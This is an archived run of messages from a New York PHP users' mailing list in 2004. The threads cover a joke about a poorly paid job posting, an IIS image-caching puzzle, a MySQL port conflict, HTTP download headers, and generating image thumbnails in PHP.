Message-ID: <409911E5.30709@adnet-sys.com>

Geez, what's the point? Might as well quit programming and learn other 
trades, like bean farming.

Phil

Daniel Krook wrote:

>
>
>Well, at least it's not a full-time job in California paying $2-5k a year
>for LAMP  :)
>
>
>
>http://jobsearch.monster.com/getjob.asp?JobID=21235904
>
>2,000.00 - 5,000.00 USD /year
>Salary Depends on Experience
>
>"Fast paced internet company seeks an adavnaced PHP programmer. Must have
>experience developing web applications using PHP and MySQL in a Linux
>environment.
>
>Candidate must show samples of work and knowledge of job skills.
>
>Salary will be based upon years of job experience and programming level."
>
>
>
>
>
>Daniel Krook, Application Developer
>WW Web Production Services North 2, ibm.com
>1133 Westchester Avenue, White Plains, NY 10604
>
>Personal: http://info.krook.org/
>Persona: http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=C-0M7P897
>
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>


-- 
---------------------------------------------------------------------------------
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Multimedia Programmer
ADNET Systems., Inc.
11260 Roger Bacon Drive Suite 403
Reston, VA  20191
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From carlos at sprout.net  Wed May  5 12:04:03 2004
From: carlos at sprout.net (Carlos G. Chiossone)
Date: Wed, 5 May 2004 12:04:03 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
Message-ID: <49A9DEB886049242BA28C484A36C03F15A7421@email.sprout.net>

Is there a carpentry list we can join? I better start doing something
else!

Carlos

-----Original Message-----
From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] 
Sent: Wednesday, May 05, 2004 12:10 PM
To: NYPHP Talk
Subject: Re: [nycphp-talk] Worst freelance offer of all time!

Geez, what's the point? Might as well quit programming and learn other
trades, like bean farming.

Phil

Daniel Krook wrote:

>
>
>Well, at least it's not a full-time job in California paying $2-5k a 
>year for LAMP  :)
>
>
>
>http://jobsearch.monster.com/getjob.asp?JobID=21235904
>
>2,000.00 - 5,000.00 USD /year
>Salary Depends on Experience
>
>"Fast paced internet company seeks an adavnaced PHP programmer. Must 
>have experience developing web applications using PHP and MySQL in a 
>Linux environment.
>
>Candidate must show samples of work and knowledge of job skills.
>
>Salary will be based upon years of job experience and programming
level."
>
>
>
>
>
>Daniel Krook, Application Developer
>WW Web Production Services North 2, ibm.com
>1133 Westchester Avenue, White Plains, NY 10604
>
>Personal: http://info.krook.org/
>Persona: 
>http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=C-0M7P897
>
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>


--
------------------------------------------------------------------------
---------
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Multimedia Programmer
ADNET Systems., Inc.
11260 Roger Bacon Drive Suite 403
Reston, VA  20191
#: (703) 709-7218 x107
Fax: (703) 709-7219

	

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From yury at heavenspa.com  Wed May  5 12:19:38 2004
From: yury at heavenspa.com (Yury Rush)
Date: Wed, 5 May 2004 12:19:38 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <49A9DEB886049242BA28C484A36C03F15A7421@email.sprout.net>
Message-ID: <ECEKLPHECCLGFGAFEPEJMEBCCAAA.yury@heavenspa.com>

www.escorts.com is always hiring ;) might be better pay then IT too :)

ciao
yury

p.s. I dno't know if that site exists heheh

-----Original Message-----
From: talk-bounces at lists.nyphp.org
[mailto:talk-bounces at lists.nyphp.org]On Behalf Of Carlos G. Chiossone
Sent: Wednesday, May 05, 2004 11:04 AM
To: NYPHP Talk
Subject: RE: [nycphp-talk] Worst freelance offer of all time!


Is there a carpentry list we can join? I better start doing something
else!

Carlos

-----Original Message-----
From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] 
Sent: Wednesday, May 05, 2004 12:10 PM
To: NYPHP Talk
Subject: Re: [nycphp-talk] Worst freelance offer of all time!

Geez, what's the point? Might as well quit programming and learn other
trades, like bean farming.

Phil

Daniel Krook wrote:

>
>
>Well, at least it's not a full-time job in California paying $2-5k a 
>year for LAMP  :)
>
>
>
>http://jobsearch.monster.com/getjob.asp?JobID=21235904
>
>2,000.00 - 5,000.00 USD /year
>Salary Depends on Experience
>
>"Fast paced internet company seeks an adavnaced PHP programmer. Must 
>have experience developing web applications using PHP and MySQL in a 
>Linux environment.
>
>Candidate must show samples of work and knowledge of job skills.
>
>Salary will be based upon years of job experience and programming
level."
>
>
>
>
>
>Daniel Krook, Application Developer
>WW Web Production Services North 2, ibm.com
>1133 Westchester Avenue, White Plains, NY 10604
>
>Personal: http://info.krook.org/
>Persona: 
>http://w3.ibm.com/eworkplace/persona_bp_finder.jsp?CNUM=C-0M7P897
>
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>


--
------------------------------------------------------------------------
---------
Phil Powell
Multimedia Programmer
ADNET Systems., Inc.
11260 Roger Bacon Drive Suite 403
Reston, VA  20191
#: (703) 709-7218 x107
Fax: (703) 709-7219

	

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From joel at tagword.com  Wed May  5 13:58:44 2004
From: joel at tagword.com (Joel De Gan)
Date: Wed, 05 May 2004 13:58:44 -0400
Subject: [nycphp-talk] totally OT but fun regardless.
Message-ID: <1083779924.4843.52.camel@bezel>

This hit /. the other day and I have been getting a *ton* of those
nigerian scam letters and this is a great forum to post them in as these
guys have a blast screwing them over and trying to scam the scammers..

http://www.419eater.com/forum/viewforum.php?f=18

In case you get a bunch of those, post them in the surplus forum so
other people can mess with them.

-- 
joeldg - developer, Intercosmos media group.
http://lucifer.intercosmos.net



From dmintz at davidmintz.org  Wed May  5 12:58:09 2004
From: dmintz at davidmintz.org (David Mintz)
Date: Wed, 5 May 2004 12:58:09 -0400 (EDT)
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <ECEKLPHECCLGFGAFEPEJMEBCCAAA.yury@heavenspa.com>
References: <ECEKLPHECCLGFGAFEPEJMEBCCAAA.yury@heavenspa.com>
Message-ID: <Pine.BSF.4.58.0405051255330.49198@emra.pair.com>

On Wed, 5 May 2004, Yury Rush wrote:

> www.escorts.com is always hiring ;) might be better pay then IT too :)


For that matter, you could try becoming a wholesale heroin and/or cocaine
distributor here in New York City. Judging from the numbers of people I
see undertaking that career, there must be fabulous opportunities.



---
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http://sdnyinterpreters.org/
http://davidmintz.org/

        "Anybody else got a problem with Webistics?" -- Sopranos 24:17


From carlos at sprout.net  Wed May  5 14:00:00 2004
From: carlos at sprout.net (Carlos G. Chiossone)
Date: Wed, 5 May 2004 14:00:00 -0400
Subject: [nycphp-talk] Caching images problem
Message-ID: <49A9DEB886049242BA28C484A36C03F15A7428@email.sprout.net>

Hi all, this is kind of strange it seems to do with timing but...

I am using our CMS which will regenerate images as needed... So I
publish, all images get regenerated with new ones, but my browsers keep
seeing the old images for a few minutes.

- we know that the images changed in the directories, we can see that
- we have cleared the browsers cache
- further we go with a computer that has never seen the page and still
sees old images

Environment: PHP 4... On IIS, using Smarty templates. And don't ask why
IIS, please!!!

We also have a script that runs within the publish that access the Linux
server to create the images with fonts. We thought it could have been
that but we see the images in the directories right away, no delay.

WHO THE HELL IS CACHING my images? This is driving me nuts.

Any one had a similar issue?


Thanks,
Carlos


From dcech at phpwerx.net  Wed May  5 14:19:06 2004
From: dcech at phpwerx.net (Dan Cech)
Date: Wed, 05 May 2004 14:19:06 -0400
Subject: [nycphp-talk] Caching images problem
In-Reply-To: <49A9DEB886049242BA28C484A36C03F15A7428@email.sprout.net>
References: <49A9DEB886049242BA28C484A36C03F15A7428@email.sprout.net>
Message-ID: <4099301A.5090404@phpwerx.net>

Carlos G. Chiossone wrote:
> I am using our CMS which will regenerate images as needed... So I
> publish, all images get regenerated with new ones, but my browsers keep
> seeing the old images for a few minutes.

Sounds to me like you have a proxy somewhere between your boxen...some 
ISPs run transparent proxies which could cause this behaviour...

Dan



From carlos at sprout.net  Wed May  5 15:02:50 2004
From: carlos at sprout.net (Carlos G. Chiossone)
Date: Wed, 5 May 2004 15:02:50 -0400
Subject: [nycphp-talk] Caching images problem
Message-ID: <49A9DEB886049242BA28C484A36C03F15A742E@email.sprout.net>

All the servers are in-house. There is a 3Com switch and a hub between
the servers and us. I wonder if it could be the switch then.

Thanks Dan.

Carlos.

-----Original Message-----
From: Dan Cech [mailto:dcech at phpwerx.net] 
Sent: Wednesday, May 05, 2004 2:19 PM
To: NYPHP Talk
Subject: Re: [nycphp-talk] Caching images problem

Carlos G. Chiossone wrote:
> I am using our CMS which will regenerate images as needed... So I 
> publish, all images get regenerated with new ones, but my browsers 
> keep seeing the old images for a few minutes.

Sounds to me like you have a proxy somewhere between your boxen...some
ISPs run transparent proxies which could cause this behaviour...

Dan

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From jlacey at att.net  Wed May  5 15:13:01 2004
From: jlacey at att.net (John Lacey)
Date: Wed, 05 May 2004 13:13:01 -0600
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <4098F45A.9010406@adnet-sys.com>
References: <4098F45A.9010406@adnet-sys.com>
Message-ID: <40993CBD.6030709@att.net>



Phillip Powell wrote:
> I'm curious as to how I should handle this, other than the obvious H*LL NO:
> 
> A guy posted a request for bids for a project whereby he needs an entire 
> file management application system, complete with ability to handle 
> streaming audio/video uploads and downloads, search engine, advanced 
> search engine, "Top Ten" videos, a "My" personalization feature, and at 
> least 12 - 13 other major applications.
> 
> Total time to develop ALL of this: 15 days
> Max bid: $20
> 

this sounds a lot like the job you had taken when you first 
starting posting on the list... but I don't think it was paying 
that much :)

John



From tgales at tgaconnect.com  Wed May  5 16:09:40 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Wed, 5 May 2004 16:09:40 -0400
Subject: [nycphp-talk] MySQL reports that port 3306 is not free.
Message-ID: <012a01c432dc$e8ad1e30$e98d3818@oberon1>


when I run msqld_safe &

it says:
"Starting mysqld daemon with databases from /usr/local/mysql/data 040505
15:57:51  mysqld ended" 

jobs says: "jobs
[1]+  Stopped(SIGTSTP)        mysqld_safe  (wd: ../bin/mysqld_safe)
[2]-  Done                    ./bin/mysqld_safe

the last lines of the error log say:
040505 15:54:51  mysqld started
040505 15:54:51  Can't start server: Bind on TCP/IP port: Address already
in use 040505 15:54:51  Do you already have another mysqld server running
on port: 3306 ? 040505 15:54:51  Aborting

so I edited my.cnf 

to have 
#port		= 3308
#socket		= /tmp/mysql.sock

in both sections [client] and [mysqld]

and reran the safe start script 
exactly the same results

I haven't change any permissions on any 
directories anywhere (intentionally).

I am starting to think that the error logging 
is mis-reporting the stuff about the port being used.



Any advice would be appreciated

TIA


T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com



From phillip.powell at adnet-sys.com  Wed May  5 16:17:48 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Wed, 05 May 2004 16:17:48 -0400
Subject: [nycphp-talk] has anyone ever used "exif_thumbnail()" PHP 4.3+?
Message-ID: <40994BEC.3070402@adnet-sys.com>

PHP 4.3.2 with --enable-exif

I have the following class:

[CODE]
<?php

class ThumbGenerator extends MethodGeneratorForActionPerformer {
 
  function ThumbGenerator() {      // CONSTRUCTOR
    // DO ALL KINDS OF STUFF HERE
  }

  /**
   * This method can only be used if you are using PHP version 4.3+ and 
if you have TIFF or JPEG image
   *
   * @access private
   */
  function generateTIFFJPEGThumb() {                            // VOID 
METHOD
        global $section, $thumbLocationPath;
        
/*------------------------------------------------------------------------------------------------------------------------------------------
            Because of the different methodologies of each method, the 
constructor must be called, thus, the class object
            must be initiated.  If "$this" does not exist, trigger an error
        
-------------------------------------------------------------------------------------------------------------------------------------------*/
        if (!$this || !is_object($this)) trigger_error('You must first 
instantiate a ThumbGenerator object to use this method', E_USER_ERROR);

        // STREAM FILE EMBEDDED THUMBNAIL CONTENTS INTO BINARY STRING 
VARIABLE
        if ($this->isSuccessful) {
         $thumbStreamObj = exif_thumbnail($this->locationPath . '/' . 
$this->fileName, $width, $height, $mimeTypeInt);
         print_r('<P>thumbStreamObj: '); print_r($thumbStreamObj);
         if (!$thumbStreamObj) {
          $this->isSuccessful = false;
          $this->setErrorArray(array('section' => 'Could not extract 
embedded thumbnail contents from "' . $this->locationPath . '/' . 
$this->fileName . '"'));
         }
        }

    }

}

?>
[/CODE]

The class is being used to literally generate a thumbnail from an 
existing image.  I read in the PHP manual (see 
http://us3.php.net/manual/en/function.exif-thumbnail.php ) that 
exif_thumbnail() only extracts embedded thumbnail information from a 
TIFF or JPEG
image.  In knowing that I've simplified my method to only handle TIFF or 
JPEG images (this is done in the class constructor - sorting out what 
image type you got).

At this point, however, I am receiving nothing into the $thumbStreamObj 
binary stream string variable; it's "empty" (false):

[CODE]$thumbstreamObj = exif_thumbnail($this->locationPath . '/' . 
$this->fileName, $width, $height, $mimeTypeInt);[/CODE]

I checked the values of $this->fileName and $this->locationPath and both 
contain the correct values to be able to locate the image in the system 
for the function to extract the embedded thumbnail information 
reportedly found in TIFF and JPEG images.

Has anyone had any luck using this to create a thumbnail?  I could use 
some more experted advice than I would think to find in the manual 
notes, which I am certain I'll find among you gurus here.

Thanx
Phil

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From jonbaer at jonbaer.net  Wed May  5 16:08:57 2004
From: jonbaer at jonbaer.net (Jon Baer)
Date: Wed, 05 May 2004 16:08:57 -0400
Subject: [nycphp-talk] MySQL reports that port 3306 is not free.
In-Reply-To: <012a01c432dc$e8ad1e30$e98d3818@oberon1>
References: <012a01c432dc$e8ad1e30$e98d3818@oberon1>
Message-ID: <409949D9.9070306@jonbaer.net>

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what does "netstat -a" + "iptables -L" say about 3306?

Tim Gales wrote:

| when I run msqld_safe &
|
| it says:
| "Starting mysqld daemon with databases from /usr/local/mysql/data 040505
| 15:57:51  mysqld ended"

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From erank at isthmus.com  Wed May  5 16:18:11 2004
From: erank at isthmus.com (Eric Rank)
Date: Wed, 5 May 2004 15:18:11 -0500
Subject: [nycphp-talk] http headers & measuring size of string in 'bits'
References: <4098F45A.9010406@adnet-sys.com> <40993CBD.6030709@att.net>
Message-ID: <002301c432de$16a8b460$8b01a8c0@DB>

Howdy folks,

I'm working on generating a file on the fly by sending headers and echoing
out the content of the file. The trouble is that the php script that does
this makes a database query to retrieve the content, and it seems to cause
problems. Merely echoing out the string if content itself works fine. In
short, the process looks like this:

1. database is queried to retrieve the content based on some variables
passed to the page
2. content is built from the query
3. http headers are sent
4. finally the content is echoed out

for your curiosity, the headers are the following:

header('Content-Disposition: inline; filename="file.m3u"');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');

Now, what's interesting is that when the query to the db is limited (eg. "
LIMIT 30") to 30 or less results, it works. Any more, and it doesn't.

My first line of thought is that the connection is dying too quickly

I'm interested in trying out the 'connection: Keep-Alive' header to see if
it does anything, but I'm also thinking that a 'content-length' header might
be interesting. And that is why I am asking about measuring the file size of
a string. content-length expects units in octets (bits / 8).

Is there a way to measure the file size of a string?

Or even better, can anyone illuminate what might be happening?

Thanks,

Eric Rank



From tgales at tgaconnect.com  Wed May  5 16:21:58 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Wed, 5 May 2004 16:21:58 -0400
Subject: [nycphp-talk] MySQL reports that port 3306 is not free.
In-Reply-To: <409949D9.9070306@jonbaer.net>
Message-ID: <012f01c432de$9e46dff0$e98d3818@oberon1>


> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Jon Baer
> Sent: Wednesday, May 05, 2004 4:09 PM
> To: NYPHP Talk
> Subject: Re: [nycphp-talk] MySQL reports that port 3306 is not free.
> 
> 
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> 
> what does "netstat -a" + "iptables -L" say about 3306?
> 
lobotomized shell (I think the client is super paranoid) 
is missing netstat

It's a linux 7.2 release with a lot of stuff ripped out.




From danielc at analysisandsolutions.com  Wed May  5 16:24:05 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Wed, 5 May 2004 16:24:05 -0400
Subject: [nycphp-talk] MySQL reports that port 3306 is not free.
In-Reply-To: <012a01c432dc$e8ad1e30$e98d3818@oberon1>
References: <012a01c432dc$e8ad1e30$e98d3818@oberon1>
Message-ID: <20040505202405.GA8482@panix.com>

Hi Tim:

On Wed, May 05, 2004 at 04:09:40PM -0400, Tim Gales wrote:
> 
> when I run msqld_safe &
> 
> it says:
> "Starting mysqld daemon with databases from /usr/local/mysql/data 040505
> 15:57:51  mysqld ended" 
> 
> jobs says: "jobs
> [1]+  Stopped(SIGTSTP)        mysqld_safe  (wd: ../bin/mysqld_safe)
> [2]-  Done                    ./bin/mysqld_safe

It looks like MySQL is already running.  What's the output of the 
following command (assuming your OS has sockstat)

   sockstat -4 | grep -E (mysql|3306)

and/or

   ps | grep mysql

--Dan

-- 
 T H E   A N A L Y S I S   A N D   S O L U T I O N S   C O M P A N Y
            data intensive web and database programming
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From jonbaer at jonbaer.net  Wed May  5 16:18:11 2004
From: jonbaer at jonbaer.net (Jon Baer)
Date: Wed, 05 May 2004 16:18:11 -0400
Subject: [nycphp-talk] http headers & measuring size of string in 'bits'
In-Reply-To: <002301c432de$16a8b460$8b01a8c0@DB>
References: <4098F45A.9010406@adnet-sys.com> <40993CBD.6030709@att.net>
	<002301c432de$16a8b460$8b01a8c0@DB>
Message-ID: <40994C03.5060408@jonbaer.net>

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The script could just be timing out with a large amount of records ...
look @ stream_set_timeout for examples, see:
www.php.net/stream_set_timeout.  I used this for a large db query once.

- - Jon

Eric Rank wrote:

| Howdy folks,
|
| I'm working on generating a file on the fly by sending headers and echoing
| out the content of the file. The trouble is that the php script that does
| this makes a database query to retrieve the content, and it seems to cause
| problems. Merely echoing out the string if content itself works fine. In
| short, the process looks like this:

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From danielc at analysisandsolutions.com  Wed May  5 16:25:34 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Wed, 5 May 2004 16:25:34 -0400
Subject: [nycphp-talk] MySQL reports that port 3306 is not free.
In-Reply-To: <20040505202405.GA8482@panix.com>
References: <012a01c432dc$e8ad1e30$e98d3818@oberon1>
	<20040505202405.GA8482@panix.com>
Message-ID: <20040505202534.GB8482@panix.com>

On Wed, May 05, 2004 at 04:24:05PM -0400, Daniel Convissor wrote:
> 
>    ps | grep mysql

Make that

     ps -a | grep mysql

--Dan

-- 
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            data intensive web and database programming
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From tgales at tgaconnect.com  Wed May  5 16:27:06 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Wed, 5 May 2004 16:27:06 -0400
Subject: [nycphp-talk] MySQL reports that port 3306 is not free.
In-Reply-To: <409949D9.9070306@jonbaer.net>
Message-ID: <013001c432df$56021790$e98d3818@oberon1>

> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Jon Baer
> Sent: Wednesday, May 05, 2004 4:09 PM
> To: NYPHP Talk
> Subject: Re: [nycphp-talk] MySQL reports that port 3306 is not free.
> 
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> what does "netstat -a" + "iptables -L" say about 3306?
> 

Thank for the idea -- I think I am just going to have to 
call their 'guru' who put this thing together.

I am tires of playing 'wheel of fortune' trying to 
find working ports.

Thanks again



From tgales at tgaconnect.com  Wed May  5 16:32:52 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Wed, 5 May 2004 16:32:52 -0400
Subject: [nycphp-talk] MySQL reports that port 3306 is not free.
In-Reply-To: <20040505202534.GB8482@panix.com>
Message-ID: <013101c432e0$247de4f0$e98d3818@oberon1>

> On Wed, May 05, 2004 at 04:24:05PM -0400, Daniel Convissor wrote:
> > 
> >    ps | grep mysql
> 
> Make that
> 
>      ps -a | grep mysql
> 
> --Dan

I think on good days 
mysql.sock shows up in a temp dir.
which is not the case today...

Tim G.



From dcech at phpwerx.net  Wed May  5 17:18:32 2004
From: dcech at phpwerx.net (Dan Cech)
Date: Wed, 05 May 2004 17:18:32 -0400
Subject: [nycphp-talk] has anyone ever used "exif_thumbnail()" PHP 4.3+?
In-Reply-To: <40994BEC.3070402@adnet-sys.com>
References: <40994BEC.3070402@adnet-sys.com>
Message-ID: <40995A28.1090004@phpwerx.net>

Phillip Powell wrote:
> The class is being used to literally generate a thumbnail from an 
> existing image.  I read in the PHP manual (see 
> http://us3.php.net/manual/en/function.exif-thumbnail.php ) that 
> exif_thumbnail() only extracts embedded thumbnail information from a 
> TIFF or JPEG image.

There is your answer, it will *only* work on an image which has an 
*embedded* thumbnail, which is not many images.

You need to look at the GD or NetPBM or ImageMagick functions for 
resizing images if you want to be able to reliably create thumbnails.

> At this point, however, I am receiving nothing into the $thumbStreamObj 
> binary stream string variable; it's "empty" (false):

Your images almost definitely *do not* contain embedded thumbnails.

Dan




From dcech at phpwerx.net  Wed May  5 17:21:50 2004
From: dcech at phpwerx.net (Dan Cech)
Date: Wed, 05 May 2004 17:21:50 -0400
Subject: [nycphp-talk] Caching images problem
In-Reply-To: <49A9DEB886049242BA28C484A36C03F15A742E@email.sprout.net>
References: <49A9DEB886049242BA28C484A36C03F15A742E@email.sprout.net>
Message-ID: <40995AEE.6000104@phpwerx.net>

Carlos G. Chiossone wrote:

> All the servers are in-house. There is a 3Com switch and a hub between
> the servers and us. I wonder if it could be the switch then.

Hmm, not likely to be the switch, sounds like it might be put down to 
IIS weirdness...there may be a caching mechanism at play within IIS...

Dan



From nyphp at enobrev.com  Wed May  5 17:26:46 2004
From: nyphp at enobrev.com (Mark Armendariz)
Date: Wed, 5 May 2004 17:26:46 -0400
Subject: [nycphp-talk] has anyone ever used "exif_thumbnail()" PHP 4.3+?
In-Reply-To: <40995A28.1090004@phpwerx.net>
Message-ID: <E1BLTui-0006sl-RD@server1057.webserver33.com>

You can embed thumbnails?!  How cool is that?  Any idea if gd, imageMagick
or netpbm can utilize such things?  Would be equally sweet if browsers
couple access such things.  

Ah well. 

Time for a Mexican dinner and a few shots of tequila (El Cantinero on 11th
and University if anyone's interested)

Happy Cinco De Mayo!

Mark




From erank at isthmus.com  Wed May  5 17:27:22 2004
From: erank at isthmus.com (Eric Rank)
Date: Wed, 5 May 2004 16:27:22 -0500
Subject: [nycphp-talk] http headers & measuring size of string in 'bits'
References: <4098F45A.9010406@adnet-sys.com>
	<40993CBD.6030709@att.net><002301c432de$16a8b460$8b01a8c0@DB>
	<40994C03.5060408@jonbaer.net>
Message-ID: <002f01c432e7$c116fd40$8b01a8c0@DB>

Thanks for the help Jon,

I think I jumped the gun a little bit on this one. Another guy I work with
was testing this thing, and it didn't work for him, but it works on all
other computers I've tried. But that itself doesn't mean the php is right
yet.

Thanks

Eric


----- Original Message ----- 
From: "Jon Baer" <jonbaer at jonbaer.net>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Wednesday, May 05, 2004 3:18 PM
Subject: Re: [nycphp-talk] http headers & measuring size of string in 'bits'


> -----BEGIN PGP SIGNED MESSAGE-----
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>
> The script could just be timing out with a large amount of records ...
> look @ stream_set_timeout for examples, see:
> www.php.net/stream_set_timeout.  I used this for a large db query once.
>
> - - Jon
>
> Eric Rank wrote:
>
> | Howdy folks,
> |
> | I'm working on generating a file on the fly by sending headers and
echoing
> | out the content of the file. The trouble is that the php script that
does
> | this makes a database query to retrieve the content, and it seems to
cause
> | problems. Merely echoing out the string if content itself works fine. In
> | short, the process looks like this:
>
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>
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From phillip.powell at adnet-sys.com  Wed May  5 17:46:58 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Wed, 05 May 2004 17:46:58 -0400
Subject: [nycphp-talk] has anyone ever used "exif_thumbnail()" PHP 4.3+?
In-Reply-To: <40995A28.1090004@phpwerx.net>
References: <40994BEC.3070402@adnet-sys.com> <40995A28.1090004@phpwerx.net>
Message-ID: <409960D2.9040109@adnet-sys.com>

Ok, facing both "fully customizable solution" and "manual resizing", I 
am using the GD library to do so, what would you do in this scenario, 
would you just come up with an arbitrary size (e.g., 115) and factor the 
new image size to that, somehow recalculating height and width and 
presto, new image?

Phil

Dan Cech wrote:

> Phillip Powell wrote:
>
>> The class is being used to literally generate a thumbnail from an 
>> existing image.  I read in the PHP manual (see 
>> http://us3.php.net/manual/en/function.exif-thumbnail.php ) that 
>> exif_thumbnail() only extracts embedded thumbnail information from a 
>> TIFF or JPEG image.
>
>
> There is your answer, it will *only* work on an image which has an 
> *embedded* thumbnail, which is not many images.
>
> You need to look at the GD or NetPBM or ImageMagick functions for 
> resizing images if you want to be able to reliably create thumbnails.
>
>> At this point, however, I am receiving nothing into the 
>> $thumbStreamObj binary stream string variable; it's "empty" (false):
>
>
> Your images almost definitely *do not* contain embedded thumbnails.
>
> Dan
>
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>


-- 
---------------------------------------------------------------------------------
Phil Powell
Multimedia Programmer
ADNET Systems., Inc.
11260 Roger Bacon Drive Suite 403
Reston, VA  20191
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From dcech at phpwerx.net  Wed May  5 17:49:56 2004
From: dcech at phpwerx.net (Dan Cech)
Date: Wed, 05 May 2004 17:49:56 -0400
Subject: [nycphp-talk] has anyone ever used "exif_thumbnail()" PHP 4.3+?
In-Reply-To: <409960D2.9040109@adnet-sys.com>
References: <40994BEC.3070402@adnet-sys.com> <40995A28.1090004@phpwerx.net>
	<409960D2.9040109@adnet-sys.com>
Message-ID: <40996184.8070705@phpwerx.net>

Phillip Powell wrote:

> Ok, facing both "fully customizable solution" and "manual resizing", I 
> am using the GD library to do so, what would you do in this scenario, 
> would you just come up with an arbitrary size (e.g., 115) and factor the 
> new image size to that, somehow recalculating height and width and 
> presto, new image?
> 
> Phil

Yes, there are quite a lot of projects out there that do this already, 
it's not too complicated.

http://www.zend.com/zend/spotlight/photogallery-part2.php

That should get you started, failing that there is plenty on google.

Dan




From bpang at bpang.com  Wed May  5 18:24:22 2004
From: bpang at bpang.com (bpang at bpang.com)
Date: Wed, 5 May 2004 18:24:22 -0400 (EDT)
Subject: [nycphp-talk] has anyone ever used "exif_thumbnail()" PHP 4.3+?
In-Reply-To: <40996184.8070705@phpwerx.net>
References: <40994BEC.3070402@adnet-sys.com> 
	<40995A28.1090004@phpwerx.net><409960D2.9040109@adnet-sys.com> 
	<40996184.8070705@phpwerx.net>
Message-ID: <53358.38.117.145.89.1083795862.squirrel@www.bpang.com>

Check Chris Snyder's image-list script
http://chxo.com/be2/software/imagelistphp.html

I've also done this myself (from scratch)... not that hard.


> Phillip Powell wrote:
>
>> Ok, facing both "fully customizable solution" and "manual resizing", I
>> am using the GD library to do so, what would you do in this scenario,
>> would you just come up with an arbitrary size (e.g., 115) and factor the
>> new image size to that, somehow recalculating height and width and
>> presto, new image?
>>
>> Phil
>
> Yes, there are quite a lot of projects out there that do this already,
> it's not too complicated.
>
> http://www.zend.com/zend/spotlight/photogallery-part2.php
>
> That should get you started, failing that there is plenty on google.
>
> Dan
>
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>



From phillip.powell at adnet-sys.com  Wed May  5 19:06:36 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Wed, 05 May 2004 19:06:36 -0400
Subject: [nycphp-talk] has anyone ever used "exif_thumbnail()" PHP 4.3+?
In-Reply-To: <40996184.8070705@phpwerx.net>
References: <40994BEC.3070402@adnet-sys.com>
	<40995A28.1090004@phpwerx.net>	<409960D2.9040109@adnet-sys.com>
	<40996184.8070705@phpwerx.net>
Message-ID: <4099737C.3080305@adnet-sys.com>

Got it 60% completed.  I kept the original method in case the image is 
JPEG/TIFF with embedded thumbnail info inside, otherwise, it'll default 
to generateGenericThumb() method which makes a size-proportioned 
thumbnail (right now at 120 width).  Thanx!

Now I can go celebrate Cinco do Mayo.. Pero yo no soy mexicano, pero, 
por que no?!

Phil

Dan Cech wrote:

> Phillip Powell wrote:
>
>> Ok, facing both "fully customizable solution" and "manual resizing", 
>> I am using the GD library to do so, what would you do in this 
>> scenario, would you just come up with an arbitrary size (e.g., 115) 
>> and factor the new image size to that, somehow recalculating height 
>> and width and presto, new image?
>>
>> Phil
>
>
> Yes, there are quite a lot of projects out there that do this already, 
> it's not too complicated.
>
> http://www.zend.com/zend/spotlight/photogallery-part2.php
>
> That should get you started, failing that there is plenty on google.
>
> Dan
>
>
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
>


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---------------------------------------------------------------------------------
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ADNET Systems., Inc.
11260 Roger Bacon Drive Suite 403
Reston, VA  20191
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From tmote at lastmansoftware.com  Wed May  5 19:05:08 2004
From: tmote at lastmansoftware.com (Ty R. Mote)
Date: Wed, 5 May 2004 18:05:08 -0500
Subject: [nycphp-talk] Typo3
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAACjfSysVBY0OdkV6WfGhI6MKAAAAQAAAASc4UzU64V0y/niA5Dwov4gEAAAAA@lastmansoftware.com>

Has anyone used Typo3? (http://www.typo3.org)

It seems quite robust but I am interested in speaking with someone who has
administered the CMS and even developed some modules.



From cmerlo at ncc.edu  Wed May  5 19:45:32 2004
From: cmerlo at ncc.edu (Christopher R. Merlo)
Date: Wed, 5 May 2004 19:45:32 -0400
Subject: [nycphp-talk] has anyone ever used "exif_thumbnail()" PHP 4.3+?
In-Reply-To: <E1BLTui-0006sl-RD@server1057.webserver33.com>
References: <40995A28.1090004@phpwerx.net>
	<E1BLTui-0006sl-RD@server1057.webserver33.com>
Message-ID: <20040505234532.GA30287@ncc.edu>

On 2004-05-05 17:26 -0400, Mark Armendariz <nyphp at enobrev.com> wrote:

> You can embed thumbnails?!

Yeah, my digital camera does it (and I imagine others do as well).
